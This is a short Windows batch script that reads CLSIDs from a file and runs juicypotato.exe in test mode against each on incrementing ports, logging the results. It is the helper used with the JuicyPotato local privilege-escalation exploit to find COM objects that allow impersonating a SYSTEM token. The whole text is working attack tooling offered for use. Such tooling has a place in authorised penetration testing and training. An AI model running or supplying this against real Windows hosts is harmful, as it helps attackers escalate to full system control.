@echo off :: Starting port, you can change it set /a port=10000 SETLOCAL ENABLEDELAYEDEXPANSION FOR /F %%i IN (CLSID.list) DO ( echo %%i !port! juicypotato.exe -z -l !port! -c %%i >> result.log set RET=!ERRORLEVEL! :: echo !RET! if "!RET!" == "1" set /a port=port+1 )